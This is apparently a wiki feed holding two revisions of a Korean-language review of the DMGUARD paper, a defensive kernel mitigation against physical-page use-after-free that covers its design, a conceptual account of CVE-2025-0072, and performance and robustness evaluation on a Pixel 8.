** 실제로는 Unmap되었지만 MapCount가 감소하지 않으면, Free 시점에 Dangling mapping으로 잘못 판단할 수 있다.&lt;br /&gt;
&lt;br /&gt;
* MapCount 관련 False negative&lt;br /&gt;
** 실제로 Mapping되었지만 MapCount가 증가하지 않으면, Free-before-unmap을 놓칠 수 있다.&lt;br /&gt;
&lt;br /&gt;
* PageTag 관련 False negative&lt;br /&gt;
** Mapping 시점에 Tag check가 빠지면 Map-after-free를 놓칠 수 있다.&lt;br /&gt;
** Page가 Free/Reallocation될 때 Tag가 갱신되지 않으면 Stale reference를 탐지하지 못할 수 있다.&lt;br /&gt;
** 8-bit Tag collision이 발생하면 Old reference의 RefTag와 New PageTag가 우연히 일치할 수 있다.&lt;br /&gt;
&lt;br /&gt;
* Instrumentation coverage 문제&lt;br /&gt;
** Driver가 Standard API를 거치지 않고 Page table을 직접 조작하면 DMGUARD가 상태 변화를 추적하지 못할 수 있다.&lt;br /&gt;
&lt;br /&gt;
=== Finding Unknown Vulnerabilities ===&lt;br /&gt;
논문은 Pixel 8에서 DMGUARD를 활성화한 상태로 Syzkaller를 실행하였다. 이 과정에서 Upstream Mali GPU driver의 Dangling mapping issue를 발견하였다.&lt;br /&gt;
&lt;br /&gt;
해당 Issue는 Process가 GPU-allocated region에 대해 명시적으로 munmap()을 호출하지 않고 종료될 때, Physical page가 Free된 뒤에도 GPU page table entry가 남는 문제였다. 연구진은 이를 ARM에 보고했고, ARM은 Dangling mapping은 존재하지만 GPU task가 이미 종료된 뒤 생성되기 때문에 Exploitable하지 않다고 판단하였다.&lt;br /&gt;
&lt;br /&gt;
이 결과는 DMGUARD가 Known vulnerability를 막는 방어 기법일 뿐 아니라, 실제 Kernel/Driver의 Page lifecycle bug를 찾는 Detection tool로도 사용할 수 있음을 보여준다.&lt;br /&gt;
&lt;br /&gt;
=== Performance Evaluation ===&lt;br /&gt;
Performance evaluation은 Pixel 8에서 수행되었다.&lt;br /&gt;
&lt;br /&gt;
; LMBench&lt;br /&gt;
* DMGUARD의 Geomean overhead는 2.96%이다.&lt;br /&gt;
* ptcheck의 Geomean overhead는 1.99%이다.&lt;br /&gt;
* Fork 계열 Benchmark에서 상대적으로 높은 Overhead가 나타났다.&lt;br /&gt;
** Process fork+exit: 10.05%&lt;br /&gt;
** Process fork+execve: 12.58%&lt;br /&gt;
** Process fork+/bin/sh -c: 4.81%&lt;br /&gt;
* 이는 Fork 과정에서 많은 Page table entry를 설정하기 때문이라고 설명한다.&lt;br /&gt;
&lt;br /&gt;
; Phoronix Test Suite&lt;br /&gt;
* DMGUARD의 Geomean overhead는 1.26%이다.&lt;br /&gt;
* Workload는 OpenSSL, PyBench, Apache, Nginx, Redis, Linux unpack/build 등을 포함한다.&lt;br /&gt;
* 실사용 Application workload에서는 Overhead가 낮은 편이다.&lt;br /&gt;
&lt;br /&gt;
; Geekbench 6&lt;br /&gt;
* CPU Single-core&lt;br /&gt;
** Baseline: 1629.45&lt;br /&gt;
** DMGUARD: 1622.27(-0.44%)&lt;br /&gt;
&lt;br /&gt;
* CPU Multi-core&lt;br /&gt;
** Baseline: 4605.09&lt;br /&gt;
** DMGUARD: 4545.73(-1.29%)&lt;br /&gt;
&lt;br /&gt;
* GPU OpenCL&lt;br /&gt;
** Baseline: 7691.36&lt;br /&gt;
** DMGUARD: 7674.18(-0.22%)&lt;br /&gt;
&lt;br /&gt;
GPU workload에서도 Overhead가 낮다는 점은 DMGUARD가 GPU page table까지 추적하면서도 Runtime cost가 크지 않음을 보여준다. CPU Multi-core overhead는 Memory barrier로 인한 영향이 상대적으로 큰 것으로 해석된다.&lt;br /&gt;
&lt;br /&gt;
; Kernel boot time&lt;br /&gt;
* Baseline: 0.510s&lt;br /&gt;
* DMGUARD: 0.528s(+3.53%)&lt;br /&gt;
&lt;br /&gt;
; Application cold-start latency&lt;br /&gt;
* AOSP system app 10개에서 Geomean overhead는 3.10%이다.&lt;br /&gt;
* 최대 Overhead도 수 ms~수십 ms 수준으로 보고된다.&lt;br /&gt;
* 논문은 Boot time과 Cold-start overhead는 One-time cost이므로 지속적인 Runtime performance에는 큰 영향을 주지 않는다고 설명한다.&lt;br /&gt;
&lt;br /&gt;
; Memory overhead&lt;br /&gt;
* DMGUARD는 ptcheck 대비 Page당 8 bytes의 추가 Metadata를 사용한다.&lt;br /&gt;
* Pixel 8 기준 Baseline 대비 Memory overhead는 약 1.05%이다.&lt;br /&gt;
* 논문은 전체 7,739,468 KB memory에서 약 50 MB 수준의 추가 사용량으로, 현대 시스템에서는 작은 비용이라고 주장한다.&lt;br /&gt;
&lt;br /&gt;
=== Robustness Evaluation ===&lt;br /&gt;
DMGUARD는 Linux kernel의 Page management path를 수정하므로 Stability가 중요하다. 논문은 Pixel 8에서 Android Vendor Test Suite(VTS) kernel test plan을 10회 반복 실행하였다.&lt;br /&gt;
&lt;br /&gt;
* Kselftest와 Linux Test Project(LTP)를 포함한 vts-kernel test를 수행하였다.&lt;br /&gt;
* 10회 반복 실행 중 Crash나 Hang이 발생하지 않았다.&lt;br /&gt;
* 모든 Test가 통과하였다.&lt;br /&gt;
* Performance evaluation 중에도 Unexpected error가 발생하지 않았다.&lt;br /&gt;
&lt;br /&gt;
이를 통해 논문은 DMGUARD가 실제 Android kernel에서 Stability를 해치지 않는다고 주장한다.&lt;br /&gt;
&lt;br /&gt;
== [[Conclusion]] ==&lt;br /&gt;
Pte check에서 체크하고 있던 알려진 문제 였다는 점, 그리고 전반적으로 Design이 pte check의 확장 (이기종 시스템으로의)로 보인다는 점이 아쉬운 부분이다. 그러나 이기종 시스템에서 발생할 수 있는 UAF문제를 시기 적절하고 &amp;amp; 최초로 상정하였다는 점에서 Motivation이 납득 가능하고, Mechanisms측면에서는 이 적절한 Motivation을 효율적으로 풀 수 있는 최적의 방법이라는 점이 이 논문의 장점이라고 생각한다.&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=DMGUARD:_Safeguarding_Kernels_from_Physical-Page_Use-After-Free_Vulnerabilities&amp;diff=7114</id>
		<title>DMGUARD: Safeguarding Kernels from Physical-Page Use-After-Free Vulnerabilities</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=DMGUARD:_Safeguarding_Kernels_from_Physical-Page_Use-After-Free_Vulnerabilities&amp;diff=7114"/>
		<updated>2026-04-29T11:19:21Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[분류:USENIX Security]]&lt;br /&gt;
&lt;br /&gt;
{{Paper|title=DMGUARD: Safeguarding Kernels from Physical-Page Use-After-Free Vulnerabilities|author=Juhee Kim, Jaeyoung Chung, Dae R. Jeong, Byoungyoung Lee|year=2026|conference=USENIX Security}}&lt;br /&gt;
&lt;br /&gt;
== 개요 ==&lt;br /&gt;
Physical-page use-after-free라는 Page table entry 수준에서 일어나는 Use-after-free를 새로운 Vulnerability domain으로 정의하고, 이를 막을 수 있는 Runtime mitigation인 DMGUARD를 제시하였다.&lt;br /&gt;
&lt;br /&gt;
기존의 Use-after-free는 일반적으로 Virtual address space 안에서 Freed object를 가리키는 Dangling pointer 문제로 이해되었다. 반면 본 논문에서 정의하는 Physical-page use-after-free는 Virtual address가 Page table을 통해 이미 Free되었거나 Reallocation된 Physical page를 계속 가리키는 문제이다. 즉, Object pointer가 아니라 Virtual-to-physical address translation layer에서 발생하는 Use-after-free이다.&lt;br /&gt;
&lt;br /&gt;
DMGUARD는 각 Physical page의 Lifecycle을 State machine으로 모델링하고, Page allocation, Mapping, Unmapping, Free 시점에서 Per-page metadata를 업데이트한다. 이를 통해 Page가 아직 Mapping된 상태에서 Free되는 Free-before-unmap과, 이미 Free된 Page reference를 다시 Mapping하는 Map-after-free를 탐지한다.&lt;br /&gt;
&lt;br /&gt;
핵심 메커니즘은 두 가지이다. 첫째, MapCount를 이용해서 해당 Physical page가 User-space page table에 몇 번 Mapping되어 있는지를 추적한다. 둘째, PageTag와 RefTag를 이용해서 Page reference가 현재 Allocation cycle에 속한 유효한 Reference인지 확인한다. 이를 통해 CPU page table뿐 아니라 GPU page table, IOMMU page table처럼 여러 Translation domain에 걸친 Dangling mapping을 탐지하고 차단한다.&lt;br /&gt;
&lt;br /&gt;
== Motivation &amp;amp; Importance ==&lt;br /&gt;
현대 Kernel security mechanism들은 대부분 Page table의 정확성을 전제로 한다. 예를 들어 ASLR, CFI, DFI, PAC, MTE, MPK와 같은 방어 기법은 Virtual address가 올바른 Physical page로 Translation된다는 가정 위에서 동작한다. 그러나 Page table에 Dangling mapping이 남아 있으면, 공격자는 기존 방어 기법을 우회해서 Freed page 또는 Reallocated page를 User space에서 접근할 수 있다.&lt;br /&gt;
&lt;br /&gt;
특히 Mobile/Embedded system에서는 CPU와 Integrated GPU가 같은 Physical memory를 공유하면서도 서로 다른 Page table을 사용한다. 예를 들어 Mali GPU나 Adreno GPU는 System DRAM을 공유하지만, GPU driver가 별도의 Page allocator와 GPU page table을 관리한다. 이 과정에서 CPU page table, GPU page table, IOMMU page table이 같은 Physical page를 가리킬 수 있다. Zero-copy memory sharing은 성능상 이점이 있지만, Page allocation과 Mapping/Unmapping의 책임이 여러 Subsystem에 분산되기 때문에 Page lifecycle 관리가 복잡해진다.&lt;br /&gt;
&lt;br /&gt;
기존의 CONFIG_PAGE_TABLE_CHECK(ptcheck)는 CPU-side Page table mapping을 중심으로 관리한다. 따라서 GPU allocator가 할당한 Page가 CPU page table에 Mapping되거나, GPU page table/IOMMU page table에 Mapping되는 경우를 충분히 추적하지 못한다. 또한 ptcheck는 Mapping status는 일부 추적하지만 Allocation status를 추적하지 않기 때문에 Map-after-free를 근본적으로 탐지하기 어렵다.&lt;br /&gt;
&lt;br /&gt;
또한 Page management는 Performance-sensitive path에 있다. Page fault, mmap, munmap, fork, GPU memory management 등은 자주 호출되기 때문에, 단순히 Global lock을 걸거나 Heavy synchronization을 추가하는 방식은 실용적이지 않다. 따라서 이 논문의 Motivation은 Heterogeneous translation domain 전체에서 Page lifecycle을 정확히 추적하면서도 낮은 Overhead를 유지하는 것이다.&lt;br /&gt;
&lt;br /&gt;
== Challenge ==&lt;br /&gt;
* &#039;&#039;&#039;Systems with multiple different page tables distribute lifecycle management across independent subsystems&#039;&#039;&#039;&lt;br /&gt;
** 현대 시스템에서는 CPU, GPU, IOMMU 등이 각각 독립적인 Page table 또는 Translation structure를 가질 수 있다.&lt;br /&gt;
** Page allocation은 GPU driver가 수행하고, CPU mapping은 Kernel이 수행하며, IOMMU mapping은 별도의 Subsystem이 수행할 수 있다.&lt;br /&gt;
** 이처럼 Page lifecycle이 여러 Subsystem에 분산되어 있기 때문에, 어떤 Physical page가 아직 Mapping되어 있는지 전역적으로 판단하기 어렵다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Page management resides in a performance-sensitive path where synchronization overhead across different subsystems is expensive&#039;&#039;&#039;&lt;br /&gt;
** Page table operation은 Page fault, fork, mmap/munmap, GPU memory operation 등 성능에 민감한 경로에서 수행된다.&lt;br /&gt;
** 따라서 CPU/GPU/IOMMU 사이의 모든 Mapping 상태를 Lock 기반으로 동기화하면 Runtime overhead가 커질 수 있다.&lt;br /&gt;
** DMGUARD는 이를 해결하기 위해 Lockless design을 사용하고, Atomic operation과 Memory barrier를 통해 Concurrent Map/Free race를 막는다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;The kernel provides low-level mapping interfaces that bypass standard page management mechanisms&#039;&#039;&#039;&lt;br /&gt;
** Linux kernel은 VM_PFNMAP과 같이 Page descriptor나 Reference counting을 우회하는 Low-level PFN-based mapping interface를 제공한다.&lt;br /&gt;
** 이러한 Interface는 MMIO처럼 일반 Buddy allocator가 관리하지 않는 Memory를 Mapping하기 위해 필요하지만, Device driver가 Buddy allocator에서 온 Page에도 이를 사용하면 Reference count가 제대로 갱신되지 않을 수 있다.&lt;br /&gt;
** 결과적으로 Page가 아직 Mapping되어 있음에도 Free되거나, 이미 Free된 PFN을 다시 Mapping하는 문제가 생길 수 있다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Correctness under concurrency is non-trivial&#039;&#039;&#039;&lt;br /&gt;
** Map과 Free가 서로 다른 CPU core 또는 Subsystem에서 동시에 발생할 수 있다.&lt;br /&gt;
** Weak memory model을 가진 ARM/RISC-V에서는 Instruction reordering 때문에 MapCount update와 PageTag check의 순서가 뒤바뀔 수 있다.&lt;br /&gt;
** DMGUARD는 LKMM(Linux Kernel Memory Model)을 기준으로 Memory barrier와 Atomic operation을 배치하여, Concurrent Map-Free 상황에서도 Dangling mapping이 생기지 않도록 설계한다.&lt;br /&gt;
&lt;br /&gt;
== Background ==&lt;br /&gt;
; Physical-page use-after-free&lt;br /&gt;
* Traditional heap use-after-free는 Virtual address space 안의 Pointer가 이미 Free된 Object를 가리키는 문제이다.&lt;br /&gt;
* Physical-page use-after-free는 Page table entry가 이미 Free되었거나 다른 목적으로 Reallocation된 Physical page를 계속 가리키는 문제이다.&lt;br /&gt;
* 따라서 문제의 위치가 Object allocator가 아니라 Address translation layer이다.&lt;br /&gt;
* 공격자는 Page spraying을 통해 Freed physical page가 Attacker-controlled content로 재할당되도록 유도할 수 있다.&lt;br /&gt;
* 그 결과 User process가 Dangling mapping을 통해 Kernel page table, Credential structure 등 민감한 Physical memory를 접근할 수 있다.&lt;br /&gt;
&lt;br /&gt;
; Dangling mapping&lt;br /&gt;
* Dangling mapping은 Page table entry가 이미 Free된 Physical page를 계속 가리키는 상태이다.&lt;br /&gt;
* 이 상태에서 Processor가 해당 Virtual address에 접근하면, 실제로는 Free되었거나 다른 용도로 재사용된 Physical page에 접근하게 된다.&lt;br /&gt;
* 논문은 Dangling mapping을 Physical-page UAF의 직접적인 원인으로 본다.&lt;br /&gt;
&lt;br /&gt;
; Free-before-unmap&lt;br /&gt;
* Page가 Page table에 아직 Mapping되어 있는데 먼저 Free되는 경우이다.&lt;br /&gt;
* 정상적인 순서는 Unmap(P) 이후 Free(P)이다.&lt;br /&gt;
* 하지만 Free(P)가 Unmap(P)보다 먼저 발생하면 기존 Page table entry가 Freed page를 계속 가리키게 된다.&lt;br /&gt;
* DMGUARD는 Free 시점에 MapCount가 0인지 확인하여 이를 탐지한다.&lt;br /&gt;
&lt;br /&gt;
; Map-after-free&lt;br /&gt;
* 이미 Free된 Page reference를 사용해서 Mapping을 만드는 경우이다.&lt;br /&gt;
* 예를 들어 Old struct page* 또는 Old PFN이 남아 있고, 이 Reference를 이용해 다시 PTE를 만들면 Freed page에 대한 Mapping이 생성될 수 있다.&lt;br /&gt;
* DMGUARD는 PageTag와 RefTag를 비교하여 Reference가 현재 Allocation cycle에 속하는지 확인한다.&lt;br /&gt;
&lt;br /&gt;
; CVE-2025-0072 사례&lt;br /&gt;
* 논문은 Mali GPU driver의 CVE-2025-0072를 대표적인 Real-world example로 제시한다.&lt;br /&gt;
* Mali driver는 mmap() 과정에서 GPU command buffer를 위한 Virtual address를 예약하고, GPU page allocator에서 Page를 할당한 뒤 queue-&amp;gt;phys에 Physical address를 저장한다.&lt;br /&gt;
* 실제 CPU mapping은 Lazy하게 Page fault 시점에 생성된다.&lt;br /&gt;
* 취약한 경로에서는 두 번째 mmap()이 queue-&amp;gt;phys를 새 Page로 덮어쓴 뒤, 첫 번째 mmap region을 munmap할 때 실제 Mapping은 제거되지 않지만 queue-&amp;gt;phys가 가리키는 두 번째 Page가 Free된다.&lt;br /&gt;
* 그 결과 VA2 -&amp;gt; PA2 Mapping이 CPU page table에 남아 있는데 PA2가 Free되어 Free-before-unmap 취약점이 발생한다.&lt;br /&gt;
&lt;br /&gt;
== Main Idea ==&lt;br /&gt;
DMGUARD의 핵심 아이디어는 Physical page의 Lifecycle을 State machine으로 표현하고, 각 State transition이 올바른 순서로 일어나는지 Runtime에 검사하는 것이다.&lt;br /&gt;
&lt;br /&gt;
Page는 크게 다음 상태를 가진다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Freed-Unmapped&#039;&#039;&#039;&lt;br /&gt;
** Page allocator의 Free pool에 있는 상태이다.&lt;br /&gt;
** 어떤 Page table에도 Mapping되어 있지 않다.&lt;br /&gt;
** Virtual address를 통해 접근할 수 없다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Allocated-Unmapped&#039;&#039;&#039;&lt;br /&gt;
** Page allocator에서 할당되었지만 아직 어떤 User-space page table에도 Mapping되지 않은 상태이다.&lt;br /&gt;
** Kernel은 struct page* 또는 PFN을 통해 이 Page를 참조할 수 있지만, User process는 아직 접근할 수 없다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Allocated-Mapped&#039;&#039;&#039;&lt;br /&gt;
** Page가 할당되어 있고, 하나 이상의 Page table entry가 이 Physical page를 가리키는 상태이다.&lt;br /&gt;
** CPU page table, GPU page table, IOMMU page table 등 여러 Translation domain에서 동시에 Mapping될 수 있다.&lt;br /&gt;
&lt;br /&gt;
정상적인 Lifecycle은 다음과 같다.&lt;br /&gt;
&lt;br /&gt;
* Freed-Unmapped -&amp;gt; Allocated-Unmapped&lt;br /&gt;
** Alloc(P)에 의해 Page가 할당된다.&lt;br /&gt;
&lt;br /&gt;
* Allocated-Unmapped -&amp;gt; Allocated-Mapped&lt;br /&gt;
** Map(P)에 의해 Page table entry가 생성된다.&lt;br /&gt;
&lt;br /&gt;
* Allocated-Mapped -&amp;gt; Allocated-Unmapped&lt;br /&gt;
** Unmap(P)에 의해 모든 Mapping이 제거된다.&lt;br /&gt;
&lt;br /&gt;
* Allocated-Unmapped -&amp;gt; Freed-Unmapped&lt;br /&gt;
** Free(P)에 의해 Page가 allocator로 반환된다.&lt;br /&gt;
&lt;br /&gt;
DMGUARD는 이 State machine에서 잘못된 Transition을 탐지한다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Free-before-unmap&#039;&#039;&#039;&lt;br /&gt;
** Allocated-Mapped 상태의 Page가 Unmap 없이 Free되는 경우이다.&lt;br /&gt;
** 즉, Allocated-Mapped -&amp;gt; Freed-Unmapped로 바로 가는 잘못된 Transition이다.&lt;br /&gt;
** DMGUARD는 Free(P) 시점에 MapCount(P) != 0이면 이를 Free-before-unmap으로 판단한다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Map-after-free&#039;&#039;&#039;&lt;br /&gt;
** Freed-Unmapped 상태의 Page reference를 이용해서 Mapping을 만드는 경우이다.&lt;br /&gt;
** 즉, Freed-Unmapped -&amp;gt; Allocated-Mapped처럼 Allocation 없이 Mapping이 만들어지는 잘못된 Transition이다.&lt;br /&gt;
** DMGUARD는 Map(P) 시점에 PageTag(P)와 RefTag(P)가 다르면 이를 Map-after-free로 판단한다.&lt;br /&gt;
&lt;br /&gt;
이를 위해 DMGUARD는 두 종류의 Metadata를 사용한다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;MapCount&#039;&#039;&#039;&lt;br /&gt;
** Physical page마다 유지되는 Counter이다.&lt;br /&gt;
** User-space Mapping이 생성될 때 증가하고, Mapping이 제거될 때 감소한다.&lt;br /&gt;
** CPU page table뿐 아니라 GPU page table, IOMMU page table의 Mapping도 함께 반영한다.&lt;br /&gt;
** Page를 Free할 때 MapCount가 0이 아니면 아직 Dangling mapping이 존재할 수 있으므로 Free-before-unmap으로 탐지한다.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;PageTag / RefTag&#039;&#039;&#039;&lt;br /&gt;
** PageTag는 Physical page의 현재 Allocation cycle을 나타내는 Per-page tag이다.&lt;br /&gt;
** RefTag는 struct page* 또는 PFN 같은 Page reference에 붙는 Tag이다.&lt;br /&gt;
** Page가 Allocate될 때 PageTag를 새 Random value로 갱신하고, 그 Page를 가리키는 Reference에는 같은 RefTag를 부여한다.&lt;br /&gt;
** Page가 Free되면 PageTag를 다시 갱신하여 Old reference를 무효화한다.&lt;br /&gt;
** Mapping을 만들 때 PageTag와 RefTag가 일치하지 않으면, Old reference를 통한 Map-after-free로 판단한다.&lt;br /&gt;
&lt;br /&gt;
즉, DMGUARD는 Mapping status는 MapCount로 추적하고, Allocation status는 PageTag/RefTag로 추적한다. 이 두 정보를 결합하여 “Freed page가 Mapping되거나, Mapped page가 Free되는 상태”를 Runtime에 막는다.&lt;br /&gt;
&lt;br /&gt;
== Design ==&lt;br /&gt;
DMGUARD의 설계는 크게 State machine, Twofold state tracking, Lockless integration, Kernel/GPU driver instrumentation으로 구성된다.&lt;br /&gt;
&lt;br /&gt;
=== Page Lifecycle State Machine ===&lt;br /&gt;
DMGUARD는 각 Physical page의 상태를 Allocation status와 Mapping status의 조합으로 본다.&lt;br /&gt;
&lt;br /&gt;
* Allocation status&lt;br /&gt;
** Freed&lt;br /&gt;
** Allocated&lt;br /&gt;
&lt;br /&gt;
* Mapping status&lt;br /&gt;
** Unmapped&lt;br /&gt;
** Mapped&lt;br /&gt;
&lt;br /&gt;
이 조합을 통해 Page는 Freed-Unmapped, Allocated-Unmapped, Allocated-Mapped 상태를 가진다. Freed-Mapped 상태는 존재해서는 안 되는 Invalid state이다. Physical-page UAF는 결국 Freed-Mapped 상태가 만들어지는 문제로 볼 수 있다.&lt;br /&gt;
&lt;br /&gt;
DMGUARD의 목표는 Runtime에 Page operation을 감시하여 Freed-Mapped 상태가 생기기 전에 중단하는 것이다.&lt;br /&gt;
&lt;br /&gt;
=== Tracking Mapping Status with MapCount ===&lt;br /&gt;
MapCount는 Page가 몇 개의 User-space Mapping을 가지고 있는지를 나타낸다.&lt;br /&gt;
&lt;br /&gt;
* Map(P)&lt;br /&gt;
** Page가 User-space page table에 Mapping되면 MapCount(P)를 증가시킨다.&lt;br /&gt;
&lt;br /&gt;
* Unmap(P)&lt;br /&gt;
** Page의 Mapping이 제거되면 MapCount(P)를 감소시킨다.&lt;br /&gt;
&lt;br /&gt;
* Free(P)&lt;br /&gt;
** Page를 Free하기 전에 MapCount(P)를 확인한다.&lt;br /&gt;
** MapCount(P)가 0이면 안전하게 Free할 수 있다.&lt;br /&gt;
** MapCount(P)가 0보다 크면 아직 Mapping이 남아 있으므로 Free-before-unmap으로 탐지한다.&lt;br /&gt;
&lt;br /&gt;
이 방식은 Reference counting과 유사하지만, 일반적인 Object reference count가 아니라 Page table mapping의 개수를 추적한다는 점이 중요하다. 또한 CPU page table뿐 아니라 GPU/IOMMU page table의 Mapping까지 포함한다.&lt;br /&gt;
&lt;br /&gt;
=== Tracking Allocation Status with PageTag / RefTag ===&lt;br /&gt;
MapCount만으로는 Map-after-free를 막을 수 없다. 이미 Free된 Page reference가 남아 있고, 이를 이용해 Mapping을 만들면 MapCount는 새로 증가할 수 있기 때문이다. 따라서 DMGUARD는 Allocation cycle을 구분하기 위해 Tagging을 사용한다.&lt;br /&gt;
&lt;br /&gt;
* PageTag&lt;br /&gt;
** Physical page의 Per-page metadata에 저장된다.&lt;br /&gt;
** 현재 Allocation cycle을 나타낸다.&lt;br /&gt;
** Page가 Allocate되거나 Free될 때 새 Random tag로 갱신된다.&lt;br /&gt;
&lt;br /&gt;
* RefTag&lt;br /&gt;
** struct page* 또는 PFN 같은 Page reference에 저장된다.&lt;br /&gt;
** 해당 Reference가 만들어졌을 때의 PageTag를 보존한다.&lt;br /&gt;
** ARM64에서는 TBI(Top Byte Ignore)를 활용하여 struct page*의 Top byte에 RefTag를 저장한다.&lt;br /&gt;
&lt;br /&gt;
Mapping을 만들 때 DMGUARD는 PageTag(P)와 RefTag(P)를 비교한다.&lt;br /&gt;
&lt;br /&gt;
* PageTag(P) == RefTag(P)&lt;br /&gt;
** Reference가 현재 Allocation cycle의 Page를 가리키므로 Mapping을 허용한다.&lt;br /&gt;
&lt;br /&gt;
* PageTag(P) != RefTag(P)&lt;br /&gt;
** Reference가 Old allocation cycle의 Stale reference이므로 Map-after-free로 탐지한다.&lt;br /&gt;
&lt;br /&gt;
논문에서는 8-bit Tag를 사용한다. 하나의 값은 Default tag로 예약하고, 나머지 값을 Random하게 사용한다. 이 때문에 일반적인 Reallocation 이후 Map-after-free에는 1/255 확률의 Tag collision 가능성이 있다. 그러나 Free 직후 바로 Mapping하는 Immediate map-after-free의 경우 이전 Tag와 다른 값을 강제하여 100% 탐지한다고 설명한다.&lt;br /&gt;
&lt;br /&gt;
=== Lockless Integration ===&lt;br /&gt;
Page management path는 매우 성능에 민감하므로 DMGUARD는 Global lock을 사용하지 않는다. 대신 Atomic operation과 Memory barrier를 사용하여 Concurrent operation의 Correctness를 보장한다.&lt;br /&gt;
&lt;br /&gt;
DMGUARD의 핵심 Operation은 다음과 같다.&lt;br /&gt;
&lt;br /&gt;
* dmcAlloc()&lt;br /&gt;
** 기존 Alloc()을 호출해 Page를 할당한다.&lt;br /&gt;
** PageTag를 새 값으로 갱신한다.&lt;br /&gt;
** 반환되는 struct page* 또는 PFN에 같은 RefTag를 설정한다.&lt;br /&gt;
&lt;br /&gt;
* dmcMap()&lt;br /&gt;
** MapCount를 증가시킨다.&lt;br /&gt;
** Memory barrier를 수행한다.&lt;br /&gt;
** PageTag와 RefTag를 비교한다.&lt;br /&gt;
** Tag가 일치하면 실제 Map(P)를 수행한다.&lt;br /&gt;
** Tag가 다르면 Map-after-free로 판단한다.&lt;br /&gt;
&lt;br /&gt;
* dmcUnmap()&lt;br /&gt;
** 실제 Unmap(P)를 수행한다.&lt;br /&gt;
** MapCount를 감소시킨다.&lt;br /&gt;
** MapCount가 음수가 되면 잘못된 Unmap으로 판단한다.&lt;br /&gt;
&lt;br /&gt;
* dmcFree()&lt;br /&gt;
** PageTag를 먼저 갱신하여 기존 Reference를 무효화한다.&lt;br /&gt;
** Memory barrier를 수행한다.&lt;br /&gt;
** MapCount가 0인지 확인한다.&lt;br /&gt;
** MapCount가 0이면 실제 Free(P)를 수행한다.&lt;br /&gt;
** MapCount가 0보다 크면 Free-before-unmap으로 판단한다.&lt;br /&gt;
&lt;br /&gt;
이 순서는 Concurrent Map-Free race를 막기 위해 중요하다. 예를 들어 dmcMap에서 MapCount 증가가 PageTag check보다 뒤로 Reorder되면, 동시에 수행되는 dmcFree가 MapCount를 0으로 보고 Page를 Free할 수 있다. DMGUARD는 Memory barrier를 통해 이러한 Reordering을 막는다.&lt;br /&gt;
&lt;br /&gt;
논문은 이 Lockless design이 x86, ARM, RISC-V 등 Linux가 지원하는 Architecture의 Memory model에서도 안전하게 동작하는지 LKMM(Linux Kernel Memory Model) Litmus test로 검증했다고 주장한다.&lt;br /&gt;
&lt;br /&gt;
=== Integration with Kernel and GPU Drivers ===&lt;br /&gt;
DMGUARD는 Linux kernel과 GPU driver의 Page operation interface에 통합된다.&lt;br /&gt;
&lt;br /&gt;
* Linux kernel&lt;br /&gt;
** Map: set_pte_at&lt;br /&gt;
** Unmap: ptep_get_and_clear, ptep_get_and_clear_full&lt;br /&gt;
** Alloc: post_alloc_hook&lt;br /&gt;
** Free: free_pages_prepare&lt;br /&gt;
&lt;br /&gt;
* Mali GPU driver&lt;br /&gt;
** Map: entry_set_ate, entry_set_pte&lt;br /&gt;
** Unmap: entries_invalidate&lt;br /&gt;
** Alloc: kbase_mem_pool_alloc, kbase_mem_pool_alloc_pages 등&lt;br /&gt;
** Free: kbase_mem_pool_free, kbase_mem_pool_free_pages 등&lt;br /&gt;
&lt;br /&gt;
* Adreno GPU driver&lt;br /&gt;
** Map: __arm_lpae_set_pte, arm_lpae_init_pte&lt;br /&gt;
** Unmap: __arm_lpae_set_pte, arm_lpae_init_pte, __arm_lpae_free_pgtable, __arm_lpae_unmap&lt;br /&gt;
** Alloc: kgsl_pool_alloc_page&lt;br /&gt;
** Free: kgsl_pool_free_page&lt;br /&gt;
&lt;br /&gt;
구현 규모는 Core DMGUARD가 약 400 LOC, Tagged PFN macro가 약 560 LOC, Mali GPU driver 변경이 약 90 LOC, Adreno GPU driver 변경이 약 80 LOC이다. 이는 DMGUARD가 기존 Kernel 구조를 크게 바꾸기보다는 주요 Page lifecycle operation에 작은 Instrumentation을 추가하는 방식임을 보여준다.&lt;br /&gt;
&lt;br /&gt;
=== Comparison with CONFIG_PAGE_TABLE_CHECK ===&lt;br /&gt;
CONFIG_PAGE_TABLE_CHECK는 CPU page table의 Mapping status를 일부 추적할 수 있지만, DMGUARD와 비교하면 다음 한계가 있다.&lt;br /&gt;
&lt;br /&gt;
* CPU page allocator와 CPU page table 사이의 Free-before-unmap은 탐지할 수 있다.&lt;br /&gt;
* 그러나 CPU page와 Device mapping, Device page와 CPU mapping, Device page와 Device mapping은 충분히 다루지 못한다.&lt;br /&gt;
* Allocation status를 추적하지 않으므로 Map-after-free를 탐지하지 못한다.&lt;br /&gt;
* Concurrent Map-Free race에 대한 Synchronization이 부족하여 TOCTOU-style vulnerability가 가능하다.&lt;br /&gt;
&lt;br /&gt;
반면 DMGUARD는 Allocation status와 Mapping status를 모두 추적하고, CPU/GPU/IOMMU context를 함께 고려하며, Lockless synchronization으로 Concurrent race까지 다루려고 한다.&lt;br /&gt;
&lt;br /&gt;
== Evaluation ==&lt;br /&gt;
논문은 DMGUARD를 Security, Performance, Robustness 측면에서 평가하였다.&lt;br /&gt;
&lt;br /&gt;
=== Evaluation Setup ===&lt;br /&gt;
DMGUARD는 세 가지 환경에서 평가되었다.&lt;br /&gt;
&lt;br /&gt;
* QEMU AArch64 환경&lt;br /&gt;
** Linux kernel v6.6.0&lt;br /&gt;
** Mali GPU driver&lt;br /&gt;
** Dummy GPU device(MALI_NO_MALI)&lt;br /&gt;
&lt;br /&gt;
* Pixel 8&lt;br /&gt;
** Android 15&lt;br /&gt;
